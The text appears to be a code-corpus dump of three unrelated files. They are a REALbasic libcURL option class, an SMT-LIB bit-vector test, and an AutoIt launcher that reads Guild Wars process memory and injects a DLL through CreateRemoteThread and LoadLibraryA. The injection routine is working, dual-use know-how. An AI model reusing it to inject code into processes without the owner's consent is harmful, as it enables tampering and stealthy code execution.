Return OptionType.String
Case PROXY_SERVICE_NAME
Return OptionType.String
Case PROXY_SSLCERT
Return OptionType.String
Case PROXY_SSLCERTTYPE
Return OptionType.String
Case PROXY_SSLCERT_BLOB
Return OptionType.Blob
Case PROXY_SSLKEY
Return OptionType.String
Case PROXY_SSLKEYTYPE
Return OptionType.String
Case PROXY_SSLKEY_BLOB
Return OptionType.Blob
Case PROXY_SSLVERSION
Return OptionType.Bitmask
Case PROXY_SSL_CIPHER_LIST
Return OptionType.String
Case PROXY_SSL_OPTIONS
Return OptionType.Number
Case PROXY_SSL_VERIFYHOST
Return OptionType.Number
Case PROXY_SSL_VERIFYPEER
Return OptionType.Number
Case PROXY_TLS13_CIPHERS
Return OptionType.String
Case PROXY_TLSAUTH_PASSWORD
Return OptionType.String
Case PROXY_TLSAUTH_TYPE
Return OptionType.String
Case PROXY_TLSAUTH_USERNAME
Return OptionType.String
Case PROXY_TRANSFER_MODE
Return OptionType.Number
Case PUT
Return OptionType.Number
Case QUOTE
Return OptionType.List
Case RANDOM_FILE
Return OptionType.String
Case RANGE
Return OptionType.String
Case READDATA
Return OptionType.Opaque
Case READFUNCTION
Return OptionType.Subroutine
Case REDIR_PROTOCOLS
Return OptionType.Number
Case REFERER
Return OptionType.String
Case REQUEST_TARGET
Return OptionType.String
Case RESOLVE
Return OptionType.List
Case RESOLVER_START_DATA
Return OptionType.Opaque
Case RESOLVER_START_FUNCTION
Return OptionType.Subroutine
Case RESUME_FROM
Return OptionType.Number
Case RESUME_FROM_LARGE
Return OptionType.LargeNumber
Case HTTPHEADER
Return OptionType.List
Case RTSP_CLIENT_CSEQ
Return OptionType.Number
Case RTSP_REQUEST
Return OptionType.Bitmask
Case RTSP_SERVER_CSEQ
Return OptionType.Number
Case RTSP_SESSION_ID
Return OptionType.String
Case RTSP_STREAM_URI
Return OptionType.String
Case RTSP_TRANSPORT
Return OptionType.String
Case SASL_AUTHZID
Return OptionType.String
Case SASL_IR
Return OptionType.Number
Case SEEKDATA
Return OptionType.Opaque
Case SEEKFUNCTION
Return OptionType.Subroutine
Case FTP_RESPONSE_TIMEOUT
Return OptionType.Number
Case SERVICE_NAME
Return OptionType.String
Case SHARE
Return OptionType.Ptr
Case SOCKOPTDATA
Return OptionType.Opaque
Case SOCKOPTFUNCTION
Return OptionType.Subroutine
Case SOCKS5_AUTH
Return OptionType.Number
Case SOCKS5_GSSAPI_NEC
Return OptionType.Number
Case SOCKS5_GSSAPI_SERVICE
Return OptionType.String
Case SSH_AUTH_TYPES
Return OptionType.Bitmask
Case SSH_COMPRESSION
Return OptionType.Number
Case SSH_HOST_PUBLIC_KEY_MD5
Return OptionType.String
Case SSH_KEYDATA
Return OptionType.Opaque
Case SSH_KEYFUNCTION
Return OptionType.Subroutine
Case SSH_KNOWNHOSTS
Return OptionType.String
Case SSH_PRIVATE_KEYFILE
Return OptionType.String
Case SSH_PUBLIC_KEYFILE
Return OptionType.String
Case SSLCERT
Return OptionType.String
Case KEYPASSWD
Return OptionType.String
Case SSLCERTTYPE
Return OptionType.String
Case SSLCERT_BLOB
Return OptionType.Blob
Case SSLENGINE
Return OptionType.String
Case SSLENGINE_DEFAULT
Return OptionType.Number
Case SSLKEY
Return OptionType.String
Case KEYPASSWD
Return OptionType.String
Case SSLKEYTYPE
Return OptionType.String
Case SSLKEY_BLOB
Return OptionType.Blob
Case SSLVERSION
Return OptionType.Bitmask
Case SSL_CIPHER_LIST
Return OptionType.String
Case SSL_CTX_DATA
Return OptionType.Opaque
Case SSL_CTX_FUNCTION
Return OptionType.Subroutine
Case SSL_EC_CURVES
Return OptionType.String
Case SSL_ENABLE_ALPN
Return OptionType.Number
Case SSL_ENABLE_NPN
Return OptionType.Number
Case SSL_FALSESTART
Return OptionType.Number
Case SSL_OPTIONS
Return OptionType.Bitmask
Case SSL_SESSIONID_CACHE
Return OptionType.Number
Case SSL_VERIFYHOST
Return OptionType.Number
Case SSL_VERIFYPEER
Return OptionType.Number
Case SSL_VERIFYSTATUS
Return OptionType.Number
Case STDERR
Return OptionType.Ptr
Case STREAM_DEPENDS
Return OptionType.Ptr
Case STREAM_DEPENDS_E
Return OptionType.Ptr
Case STREAM_WEIGHT
Return OptionType.Number
Case SUPPRESS_CONNECT_HEADERS
Return OptionType.Number
Case TCP_FASTOPEN
Return OptionType.Number
Case TCP_KEEPALIVE
Return OptionType.Number
Case TCP_KEEPIDLE
Return OptionType.Number
Case TCP_KEEPINTVL
Return OptionType.Number
Case TCP_NODELAY
Return OptionType.Number
Case TELNETOPTIONS
Return OptionType.List
Case TFTP_BLKSIZE
Return OptionType.Number
Case TFTP_NO_OPTIONS
Return OptionType.Number
Case TIMECONDITION
Return OptionType.Bitmask
Case TIMEOUT
Return OptionType.Number
Case TIMEOUT_MS
Return OptionType.Number
Case TIMEVALUE
Return OptionType.Number
Case TIMEVALUE_LARGE
Return OptionType.LargeNumber
Case TLS13_CIPHERS
Return OptionType.String
Case TLSAUTH_PASSWORD
Return OptionType.String
Case TLSAUTH_TYPE
Return OptionType.String
Case TLSAUTH_USERNAME
Return OptionType.String
Case TRAILERDATA
Return OptionType.Opaque
Case TRAILERFUNCTION
Return OptionType.Subroutine
Case TRANSFERTEXT
Return OptionType.Number
Case TRANSFER_ENCODING
Return OptionType.Number
Case UNIX_SOCKET_PATH
Return OptionType.String
Case UNRESTRICTED_AUTH
Return OptionType.Number
Case UPKEEP_INTERVAL_MS
Return OptionType.Number
Case UPLOAD
Return OptionType.Number
Case UPLOAD_BUFFERSIZE
Return OptionType.Number
Case URL
Return OptionType.String
Case USERAGENT
Return OptionType.String
Case USERNAME
Return OptionType.String
Case USERPWD
Return OptionType.String
Case USE_SSL
Return OptionType.Bitmask
Case VERBOSE
Return OptionType.Number
Case WILDCARDMATCH
Return OptionType.Number
Case WRITEDATA
Return OptionType.Opaque
Case WRITEFUNCTION
Return OptionType.Subroutine
Case HEADERDATA
Return OptionType.Opaque
Case XFERINFODATA
Return OptionType.Opaque
Case XFERINFOFUNCTION
Return OptionType.Subroutine
Case XOAUTH2_BEARER
Return OptionType.String
Else
Return OptionType.Unknown
End Select
End Function
#tag EndMethod
#tag Method, Flags = &h1
Protected Shared Function IsBooleanOption(OptionID As Int32) As Boolean
Select Case OptionID
Case APPEND, AUTOREFERER, CONNECT_ONLY, COOKIESESSION, DIRLISTONLY, DISALLOW_USERNAME_IN_URL, DNS_SHUFFLE_ADDRESSES, _
DNS_USE_GLOBAL_CACHE, FAILONERROR, FILETIME, FOLLOWLOCATION, FORBID_REUSE, FRESH_CONNECT, FTP_CREATE_MISSING_DIRS, _
FTP_SKIP_PASV_IP, FTP_USE_EPRT, FTP_USE_EPSV, FTP_USE_PRET, HAPROXYPROTOCOL, HEADER, HTTP09_ALLOWED, HTTPGET, HTTPPROXYTUNNEL, _
HTTP_CONTENT_DECODING, HTTP_TRANSFER_DECODING, IGNORE_CONTENT_LENGTH, KEEP_SENDING_ON_ERROR, MAIL_RCPT_ALLLOWFAILS, NOBODY, _
NOPROGRESS, NOSIGNAL, PATH_AS_IS, PIPEWAIT, POST, PROXY_TRANSFER_MODE, PUT, SASL_IR, SOCKS5_GSSAPI_NEC, SSH_COMPRESSION, _
SSLENGINE_DEFAULT, SSL_ENABLE_ALPN, SSL_ENABLE_NPN, SSL_FALSESTART, SSL_SESSIONID_CACHE, SSL_VERIFYPEER, SSL_VERIFYSTATUS, _
SUPPRESS_CONNECT_HEADERS, TCP_FASTOPEN, TCP_KEEPALIVE, TCP_NODELAY, TFTP_NO_OPTIONS, TRANSFER_ENCODING, TRANSFERTEXT, _
UNRESTRICTED_AUTH, UPLOAD, VERBOSE, WILDCARDMATCH
Return True
End Select
End Function
#tag EndMethod
#tag Method, Flags = &h0
Function IsSet(Session As libcURL.EasyHandle) As Boolean
Dim s As String = StringValue(Session)
Return s = ""
End Function
#tag EndMethod
#tag Method, Flags = &h0
Function Operator_Compare(OtherOpt As libcURL.Opts.OptionInfo) As Integer
If OtherOpt Is Nil Then Return 1 Else Return Sign(OptionNumber - OtherOpt.OptionNumber)
End Function
#tag EndMethod
#tag Method, Flags = &h0
Function Operator_Convert() As Int32
Return OptionNumber
End Function
#tag EndMethod
#tag Method, Flags = &h0
Sub Operator_Convert(OptionID As Int32)
If Not libcURL.IsAvailable Then Raise New PlatformNotSupportedException
If System.IsFunctionAvailable("curl_easy_option_by_id", cURLLib) Then
Dim opt As Ptr = curl_easy_option_by_id(OptionID)
If opt <> Nil Then Me.Constructor(opt.curl_easyoption)
Else
mOpt.Option = OptionID
mOpt.Type = GetOptionType(OptionID)
End If
End Sub
#tag EndMethod
#tag Method, Flags = &h0
Sub Operator_Convert(Name As String)
If Not libcURL.IsAvailable Then Raise New PlatformNotSupportedException
Name = Replace(Name, "CURLOPT_", "")
Name = Replace(Name, "libcURL.Opts.", "")
Name = Name.Uppercase()
If System.IsFunctionAvailable("curl_easy_option_by_name", cURLLib) Then
Dim opt As Ptr = curl_easy_option_by_name(Name)
If opt <> Nil Then Me.Constructor(opt.curl_easyoption)
Else
mOpt.Option = GetOptionByName(Name)
mOpt.Type = GetOptionType(OptionNumber)
End If
End Sub
#tag EndMethod
#tag Method, Flags = &h0
Function StringValue(Session As libcURL.EasyHandle) As String
Select Case Me.Type
Case OptionType.Bitmask, OptionType.LargeNumber, OptionType.Number
#If Target64Bit Then
Dim i As Int64 = Me.Value(Session).Int64Value
#Else
Dim i As Int32 = Me.Value(Session).Int32Value
#EndIf
If i <> 0 Then Return Str(i)
Case OptionType.List
Dim l As ListPtr = Me.Value(Session)
If l <> Nil Then
Dim s As String
For i As Integer = 0 To l.Count - 1
s = s + """" + l.Item(i) + """"
If i < l.Count - 1 Then s = s + ","
Next
Return s
End If
Case OptionType.Opaque, OptionType.Ptr
Dim p As Ptr = Me.Value(Session).PtrValue
If p = Nil Then Return ""
If Me.Type = OptionType.Ptr Then
Try
Dim mb As MemoryBlock = p
Return mb.CString(0)
Catch
End Try
End If
Return "0x" + Hex(Integer(p))
Case OptionType.String
Return Me.Value(Session).StringValue
Case OptionType.Subroutine
If Me.Value(Session) <> Nil Then
Select Case Me
Case libcURL.Opts.CHUNK_BGN_FUNCTION
Return "FTPWildCard.ChunkBeginCallback"
Case libcURL.Opts.CHUNK_END_FUNCTION
Return "FTPWildCard.ChunkEndCallback"
Case libcURL.Opts.DEBUGFUNCTION
Return "EasyHandle.DebugCallback"
Case libcURL.Opts.SEEKFUNCTION
Return "EasyHandle.SeekCallback"
Case libcURL.Opts.XFERINFOFUNCTION, libcURL.Opts.PROGRESSFUNCTION
Return "EasyHandle.ProgressCallback"
Case libcURL.Opts.WRITEFUNCTION
Return "EasyHandle.WriteCallback"
Case libcURL.Opts.READFUNCTION
Return "EasyHandle.ReadCallback"
Case libcURL.Opts.HEADERFUNCTION
Return "EasyHandle.HeaderCallback"
End Select
End If
Case OptionType.Boolean
If Me.Value(Session).BooleanValue Then Return "True" Else Return "False"
End Select
Return ""
End Function
#tag EndMethod
#tag Method, Flags = &h0
Function Value(Session As libcURL.EasyHandle) As Variant
Return Session.GetOption(OptionNumber)
End Function
#tag EndMethod
#tag Method, Flags = &h0
Sub Value(Session As libcURL.EasyHandle, Assigns NewValue As Variant)
Call Session.SetOption(OptionNumber, NewValue)
End Sub
#tag EndMethod
#tag ComputedProperty, Flags = &h0
#tag Getter
Get
Dim nm As String = GetOptionName(OptionNumber)
If nm = "INTERFACE" Then nm = "NETINTERFACE"
If nm <> "" Then nm = "libcURL.Opts." + nm
Return nm
End Get
#tag EndGetter
BindingAlias As String
#tag EndComputedProperty
#tag ComputedProperty, Flags = &h0
#tag Getter
Get
Dim v As Variant = GetOptionDefault(OptionNumber)
If IsBooleanOption(OptionNumber) Then Return v.BooleanValue
Return v
End Get
#tag EndGetter
DefaultValue As Variant
#tag EndComputedProperty
#tag ComputedProperty, Flags = &h0
#tag Getter
Get
If Name <> "" And Not IsDeprecated Then Return "https://curl.haxx.se/libcurl/c/" + LibraryAlias + ".html"
End Get
#tag EndGetter
DocumentationURL As String
#tag EndComputedProperty
#tag ComputedProperty, Flags = &h0
#tag Getter
Get
return mOpt.Flags = CURLOT_FLAG_ALIAS
End Get
#tag EndGetter
IsDeprecated As Boolean
#tag EndComputedProperty
#tag ComputedProperty, Flags = &h0
#tag Getter
Get
Dim nm As String = GetOptionName(OptionNumber)
If nm <> "" Then nm = "CURLOPT_" + nm
Return nm
End Get
#tag EndGetter
LibraryAlias As String
#tag EndComputedProperty
#tag Property, Flags = &h21
Private mOpt As curl_easyoption
#tag EndProperty
#tag ComputedProperty, Flags = &h0
#tag Getter
Get
Dim mb As MemoryBlock = mOpt.Name
If mb <> Nil Then
Return mb.CString(0)
Else
Return GetOptionName(OptionNumber)
End If
End Get
#tag EndGetter
Name As String
#tag EndComputedProperty
#tag ComputedProperty, Flags = &h0
#tag Getter
Get
Return mOpt.Option
End Get
#tag EndGetter
OptionNumber As Int32
#tag EndComputedProperty
#tag ComputedProperty, Flags = &h0
#tag Getter
Get
If IsBooleanOption(OptionNumber) Then Return OptionType.Boolean
Return mOpt.Type
End Get
#tag EndGetter
Type As libcURL.OptionType
#tag EndComputedProperty
#tag Constant, Name = CURLOT_FLAG_ALIAS, Type = Double, Dynamic = False, Default = \"1", Scope = Protected
#tag EndConstant
End Class
#tag EndClass
| REALbasic | 3 | charonn0/RB-libcURL | libcURL/Opts/OptionInfo.rbbas | [
"MIT"
] |
(set-info :smt-lib-version 2.6)
(set-logic QF_BV)
(set-info :source |
Constructed by Tjark Weber to test that the extensions defined
in QF_BV are implemented according to their definition
|)
(set-info :license "https://creativecommons.org/licenses/by/4.0/")
(set-info :category "check")
(set-info :status unsat)
; We use a (reasonably small) fixed bit width m > 0.
(declare-fun s () (_ BitVec 5))
(declare-fun t () (_ BitVec 5))
(declare-fun u () (_ BitVec 5))
(assert (not (and
; Bitvector constants
(= (_ bv13 32) #b00000000000000000000000000001101)
; Bitwise operators
(= (bvnand s t) (bvnot (bvand s t)))
(= (bvnor s t) (bvnot (bvor s t)))
(= (bvxor s t) (bvor (bvand s (bvnot t)) (bvand (bvnot s) t)))
(= (bvxnor s t) (bvor (bvand s t) (bvand (bvnot s) (bvnot t))))
(= (bvcomp s t) (bvand (bvxnor ((_ extract 4 4) s) ((_ extract 4 4) t))
(bvcomp ((_ extract 3 0) s) ((_ extract 3 0) t))))
(= (bvxor s t u) (bvxor (bvxor s t) u))
; Arithmetic operators
(= (bvsub s t) (bvadd s (bvneg t)))
(= (bvule s t) (or (bvult s t) (= s t)))
(= (bvugt s t) (bvult t s))
(= (bvuge s t) (or (bvult t s) (= s t)))
(= (bvslt s t) (or (and (= ((_ extract 4 4) s) #b1)
(= ((_ extract 4 4) t) #b0))
(and (= ((_ extract 4 4) s) ((_ extract 4 4) t))
(bvult s t))))
(= (bvsle s t) (or (and (= ((_ extract 4 4) s) #b1)
(= ((_ extract 4 4) t) #b0))
(and (= ((_ extract 4 4) s) ((_ extract 4 4) t))
(bvule s t))))
(= (bvsgt s t) (bvslt t s))
(= (bvsge s t) (bvsle t s))
; Other operations
(= (bvashr s t) (ite (= ((_ extract 4 4) s) #b0)
(bvlshr s t)
(bvnot (bvlshr (bvnot s) t))))
(= ((_ repeat 1) t) t)
(= ((_ repeat 2) t) (concat t ((_ repeat 1) t)))
(= ((_ zero_extend 0) t) t)
(= ((_ zero_extend 1) t) (concat ((_ repeat 1) #b0) t))
(= ((_ sign_extend 0) t) t)
(= ((_ sign_extend 1) t) (concat ((_ repeat 1) ((_ extract 4 4) t)) t))
(= ((_ rotate_left 0) t) t)
(= ((_ rotate_left 1) t) ((_ rotate_left 0)
(concat ((_ extract 3 0) t) ((_ extract 4 4) t))))
(= ((_ rotate_right 0) t) t)
(= ((_ rotate_right 1) t) ((_ rotate_right 0)
(concat ((_ extract 0 0) t) ((_ extract 4 1) t))))
)))
(check-sat)
(exit)
| SMT | 4 | tobireinhard/cbmc | regression/smt2_solver/basic-bv1/weber_qf_bv_without_division.smt2 | [
"BSD-4-Clause"
] |
#RequireAdmin
#AutoIt3Wrapper_Icon=..\resources\gwtoolbox.ico
#AutoIt3Wrapper_Res_Description=GwArmory Launcher
#AutoIt3Wrapper_Res_Fileversion=1.2.0.0
Global Const $laucher_version = 1.2 ; only shown in log. Increase after bugfixes to ease debugging of user issues.
Global Const $dll_name = 'GwArmory'
Global Const $skip_runtime_checks = false
#cs
Changelog:
1.0
- initial release
1.1
- included StringSize.au3
- added more log strings related to architecture and runtime checks
- added flag to optionally skip runtime checks
- added message box to optionally set the above flag
1.2
- fixed a bug with client selection
- added more debug strings related to client selection
#ce
#include <File.au3>
#include <ComboConstants.au3>
#include <FileConstants.au3>
#include <MsgBoxConstants.au3>
#include <GUIConstantsEx.au3>
#include <GuiComboBox.au3>
#include <WinAPIProc.au3>
#include <WinAPISys.au3>
#include <InetConstants.au3>
#include <GUIConstantsEx.au3>
#include <ProgressConstants.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
; dx runtime: http://www.microsoft.com/en-us/download/details.aspx?id=8109
Opt("MustDeclareVars", True)
Opt("GuiResizeMode", BitOR($GUI_DOCKSIZE, $GUI_DOCKTOP, $GUI_DOCKLEFT))
; ==== Globals ====
Global $folder = @ScriptDir & '\'
Global $dllpath = $folder & $dll_name & '.dll'
Global $logstring = ""
Func FlushLog()
Out("Flushing log, bye!")
Local Const $file = FileOpen($folder & "launcher_log.txt", $FO_OVERWRITE)
FileWrite($file, $logstring)
FileClose($file)
EndFunc
Out("Launcher version: "&$laucher_version)
OnAutoItExitRegister("FlushLog")
; ==== Disclaimer ====
If Not FileExists($dllpath) Then
Out("Showing disclaimer")
If MsgBox($MB_OKCANCEL, $dll_name, 'DISCLAIMER:'&@CRLF& _
'THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF ' & _
'FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE FOR ANY ' & _
'DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES.' & @CRLF&@CRLF & _
'By clicking the OK button you agree with all the above.') <> $IDOK Then Exit
EndIf
; ==== Install Visual Studio C++ 2015 Runtime ====
Func CheckVCRedist()
Out("Checking visual studio redistributable")
Local $Key
If @CPUArch == "X64" Then
Out("x64")
$Key = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\VisualStudio\14.0\VC\Runtimes\x86", "Installed")
Else
Out("x86")
$Key = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\VisualStudio\14.0\VC\Runtimes\x86", "Installed")
EndIf
Out("key is " & $Key)
If $Key == 1 Then Return False; Already installed
If MsgBox($MB_YESNO, $dll_name & " Launcher", "You do not have The Visual C++ Runtime (vc_redist.x86) required for " & $dll_name & " to run. Would you like me to open where to download it?") == $IDYES Then
Out("Launching vs redistr website")
ShellExecute('https://www.microsoft.com/en-us/download/details.aspx?id=48145')
EndIf
Return True
EndFunc
; ==== Install DirectX 9.0c Runtime ====
Func CheckDirectX()
Out("Checking visual studio redistributable")
Local $Key
If @CPUArch == "X64" Then
Out("x64")
$Key = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\DirectX", "Version")
Else
Out("x86")
$Key = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\DirectX", "Version")
EndIf
Out("key is " & $Key)
If $Key == '4.09.00.0904' Then Return False; Already installed
If MsgBox($MB_YESNO, $dll_name & " Launcher", "You do not have The DirectX 9.0c Runtime required for " & $dll_name & " to run. Would you like me to open where to download it?") == $IDYES Then
Out("Launching directx website")
ShellExecute('https://www.microsoft.com/en-us/download/details.aspx?id=35')
EndIf
Return True
EndFunc
If $skip_runtime_checks Then
Out("Skipping runtime checks")
Else
If CheckVCRedist() Or CheckDirectX() Then
MsgBox(0, $dll_name & " Launcher", "Please install the runtimes you were prompted to install, then run this launcher again.")
Exit
EndIf
EndIf
; ==== Create directories ====
Out("Creating directories and reading .ini... ")
If Not FileExists($folder) Then DirCreate($folder)
If Not FileExists($folder) Then Exit MsgBox($MB_ICONERROR, $dll_name & " Launcher Error", $dll_name & " Launcher was unable to create the folder '" & $folder & "'." & @CRLF & _
"Make sure you have admin rights and your antivirus is not blocking " & $dll_name &". Quitting.")
Out("dll path: "&$dllpath)
Global $gui = 0, $label = 0, $progressbar = 0, $progresslabel = 0, $changelabel = 0, $height = 0
; === Last checks before using the dll ===
; this is in case the user moved the gwtoolbox.dll to another location, for example, while playing around with gwlauncher plugins, or simply renaming gwtoolbox.dll to whydopeopledothis.dll
If Not FileExists($dllpath) Then
Local Const $msgbutton = MsgBox(BitOR($MB_ICONWARNING, $MB_OKCANCEL), $dll_name, "Error: Cannot find "& $dllpath & ".dll."&@CRLF&"Please help me find "& $dll_name& ".dll")
If ($msgbutton <> $IDOK) Then
Out("User did not want to help me find a dll :(")
Exit
EndIf
$dllpath = FileOpenDialog("Please locate " & $dll_name& ".dll", $folder, "Dll (*.dll)", $FD_FILEMUSTEXIST + $FD_PATHMUSTEXIST)
If @error Then
Out("User did not help me find the dll :(")
Exit
EndIf
EndIf
; again?!?
If Not FileExists($dllpath) Then Error("Cannot find " & $dll_name& " dll in "&$dllpath)
If FileGetSize($dllpath) == 0 Then Error($dll_name& " dll in "&$dllpath&" is an empty file!")
; === Client selection ===
Global $mKernelHandle, $mGWProcHandle, $mGWProcId
Global $lWinList = WinList("[CLASS:ArenaNet_Dx_Window_Class]")
Global $gwPID
Switch $lWinList[0][0]
Case 0
Error("Guild Wars not running")
Case 1
$gwPID = WinGetProcess($lWinList[1][1])
Out("One copy of GW detected. PID: " & $gwPID)
Case Else
Out("Multiple copies of GW detected")
Local $lCharArray[$lWinList[0][0]]
Local $lFirstChar
Local $lComboStr
Local $lCharNameRva
For $i = 1 To $lWinList[0][0]
Local $lPID = WinGetProcess($lWinList[$i][1])
MemoryOpen($lPID)
Local $lModuleBase, $lModuleSize
GetModuleInfo($lModuleBase, $lModuleSize)
If $i = 1 Then
$lCharNameRva = ScanForCharname($lModuleBase, $lModuleSize)
$lFirstChar = MemoryRead($lModuleBase + $lCharNameRva, 'wchar[30]')
$lCharArray[$i - 1] = $lFirstChar
Else
$lCharArray[$i - 1] = MemoryRead($lModuleBase + $lCharNameRva, 'wchar[30]')
EndIf
MemoryClose()
$lComboStr &= $lCharArray[$i - 1]
If $i <> $lWinList[0][0] Then $lComboStr &= '|'
Next
Local Const $selection_gui = GUICreate("GWToolbox++", 150, 60)
Local Const $comboCharname = GUICtrlCreateCombo("", 6, 6, 138, 25, $CBS_DROPDOWNLIST)
GUICtrlSetData(-1, $lComboStr, $lFirstChar)
Local Const $launchbutton = GUICtrlCreateButton("Launch", 6, 31, 138, 24)
GUISetState(@SW_SHOW, $selection_gui)
Local $index
While True
Switch GUIGetMsg()
Case $launchbutton
$index = _GUICtrlComboBox_GetCurSel($comboCharname) ; this needs to be before GUIDelete
GUIDelete($selection_gui)
ExitLoop
Case $GUI_EVENT_CLOSE
Out("Exiting from client selection gui")
Exit
EndSwitch
Sleep(10)
WEnd
$gwPID = WinGetProcess($lWinList[$index + 1][1])
Out("Client (" & $index & ") selected. PID: " & $gwPID)
EndSwitch
If Not ProcessExists($gwPID) Then Error("Cannot find Guild Wars process")
; === Check for DEP (Data Execution prevention) ===
Local $dep_status = _WinAPI_GetSystemDEPPolicy()
if ($dep_status == 1) Then Error("You have DEP (Data Execution Prevention) enabled for all applications, GWToolbox will not work unless you disable it or whitelist gw.exe")
; === Injection ===
Local $Kernel32 = DllOpen("kernel32.dll")
If $Kernel32 == -1 Then Error("Failed to open kernel32.dll")
Local $DLL_Path = DllStructCreate("char[255]")
Local $getfullpath_ret = DllCall($Kernel32, "DWORD", "GetFullPathNameA", "str", $dllpath, "DWORD", 255, "ptr", DllStructGetPtr($DLL_Path), "int", 0)
If @error Then Error1("Failed to DllCall GetFullPathNameA", @error)
If $getfullpath_ret == 0 Then Error2("Failed to call 'GetFullPathNameA'", _WinAPI_GetLastError(), $getfullpath_ret)
Local $sDLLFullPath = DllStructGetData($DLL_Path,1)
Local $modules = _WinAPI_EnumProcessModules($gwPID)
If @error Then Error2("Failed to call 'EnumProcessModules' (1)", @error, $modules)
For $i = 1 To $modules[0][0]
If $modules[$i][1] == $dllpath Then Error("Already in specified process")
Next
Local $hProcess = DllCall($Kernel32, "DWORD", "OpenProcess", "DWORD", 0x1F0FFF, "int", 0, "DWORD", $gwPID)[0]
If @error Then Error1("Failed to DllCall OpenProcess", @error)
If $hProcess == 0 Then Error2("OpenProcess failed", _WinAPI_GetLastError(), $hProcess)
Local $hModule = DllCall($Kernel32, "DWORD", "GetModuleHandleA", "str", "kernel32.dll")[0]
If @error Then Error1("Failed to DllCall GetModuleHandleA", @error)
If $hModule == 0 Then Error2("GetModuleHandle failed", _WinAPI_GetLastError(), $hModule)
Local $lpStartAddress = DllCall($Kernel32, "DWORD", "GetProcAddress", "DWORD", $hModule, "str", "LoadLibraryA")[0]
If @error Then Error1("Failed to DllCall GetProcAddress", @error)
If $lpStartAddress == 0 Then Error2("GetProcAddress failed", _WinAPI_GetLastError(), $lpStartAddress)
Local $lpParameter = DllCall($Kernel32, "DWORD", "VirtualAllocEx", "int", $hProcess, "int", 0, "ULONG_PTR", DllStructGetSize($DLL_Path), "DWORD", 0x3000, "int", 4)[0]
If @error Then Error1("Failed to DllCall VirtualAllocEx", @error)
If $lpParameter == 0 Then Error2("VirtualAllocEx failed", _WinAPI_GetLastError(), $lpParameter)
Local $writeProcMem_ret = DllCall($Kernel32, "BOOL", "WriteProcessMemory", "int", $hProcess, "DWORD", $lpParameter, "str", $sDLLFullPath, "ULONG_PTR", DllStructGetSize($DLL_Path), "int", 0)[0]
If @error Then Error1("Failed to DllCall WriteProcessMemory", @error)
If $writeProcMem_ret == 0 Then Error2("WriteProcessMemory failed", _WinAPI_GetLastError(), $writeProcMem_ret)
Local $hThread = DllCall($Kernel32, "int", "CreateRemoteThread", "DWORD", $hProcess, "int", 0, "int", 0, "DWORD", $lpStartAddress, "DWORD", $lpParameter, "int", 0, "int", 0)[0]
If @error Then Error1("Failed to DllCall CreateRemoteThread", @error)
If $hThread == 0 Then Error2("CreateRemoteThread failed", _WinAPI_GetLastError(), $hThread)
Local $nWaitEvent = DllCall($Kernel32, "DWORD", "WaitForSingleObject", "HANDLE", $hThread, "DWORD", 1000)[0]
If @error Then Error1("Failed to DllCall WaitForSingleObject", @error)
If $nWaitEvent <> 0 Then Error2("WaitForSingleObject timed out", _WinAPI_GetLastError(), Hex($nWaitEvent))
Local $nExitCode = 0
Local $hTBModule = DllCall($Kernel32, "HANDLE", "GetExitCodeThread", "HANDLE", $hThread, "DWORD*", $nExitCode)[0]
If @error Then Error1("Failed to DllCall GetExitCodeThread", @error)
If $hTBModule == 0 Then Error2("GetExitCodeThread failed", _WinAPI_GetLastError(), $nExitCode)
Local $closehandle_ret = DllCall($Kernel32, "BOOL", "CloseHandle", "DWORD", $hProcess)[0]
If @error Then Error1("Failed to DllCall CloseHandle", @error)
If $closehandle_ret == 0 Then Error2("CloseHandle failed", _WinAPI_GetLastError(), $closehandle_ret)
Local $found = False
Local $deadlock = TimerInit()
While Not $found And TimerDiff($deadlock) < 4000
$modules = _WinAPI_EnumProcessModules($gwPID)
If @error Then Error2("Failed to call 'EnumProcessModules' (2)", @error, $modules)
For $i = 1 To $modules[0][0]
If $modules[$i][1] == $dllpath Then
$found = True
ExitLoop
EndIf
Next
Sleep(200)
WEnd
If Not $found Then
If ($dep_status == 3) Then
Error("dll was not loaded, unknown error" & @CRLF & "Note: you have DEP (Data Execution Prevention) enabled, make sure to whitelist gw.exe")
Else
Error("dll was not loaded, unknown error "& $dllpath)
EndIf
EndIf
If $gui > 0 Then
GUICtrlSetData($progresslabel, GUICtrlRead($progresslabel) & ". You can close this window.")
While GUIGetMsg() <> $GUI_EVENT_CLOSE
Sleep(0)
WEnd
EndIf
#Region error message boxes
Func Out($msg)
ConsoleWrite($msg & @CRLF)
$logstring &= ($msg & @CRLF)
EndFunc
Func Warning($msg)
Out("Warning: "&$msg)
MsgBox($MB_ICONWARNING, $dll_name, "Warning: " & $msg)
EndFunc
Func Error($msg)
Out("Error: "&$msg)
MsgBox($MB_ICONERROR, $dll_name, "Error: " & $msg)
Exit
EndFunc
Func Error1($msg, $err)
Out("Error: "&$msg&" code: "&$err)
MsgBox($MB_ICONERROR, $dll_name, "Error: " & $msg & @CRLF & "Error code: " & $err)
Exit
EndFunc
Func Error2($msg, $err, $ret)
Out("Error: "&$msg&" code: "&$err&" return: "&$ret)
MsgBox($MB_ICONERROR, $dll_name,"Error: " & $msg & @CRLF & "Error code: " & $err & @CRLF & "Return value: " & $ret)
Exit
EndFunc
#EndRegion
#Region memory managment and char name read
Func MemoryOpen($aPID)
$mKernelHandle = DllOpen('kernel32.dll')
Local $lOpenProcess = DllCall($mKernelHandle, 'int', 'OpenProcess', 'int', 0x1F0FFF, 'int', 1, 'int', $aPID)
$mGWProcHandle = $lOpenProcess[0]
$mGWProcId = $aPID
EndFunc ;==>MemoryOpen
;~ Description: Internal use only.
Func MemoryClose()
DllCall($mKernelHandle, 'int', 'CloseHandle', 'int', $mGWProcHandle)
EndFunc ;==>MemoryClose
;~ Description: Internal use only.
Func MemoryRead($aAddress, $aType = 'dword')
Local $lBuffer = DllStructCreate($aType)
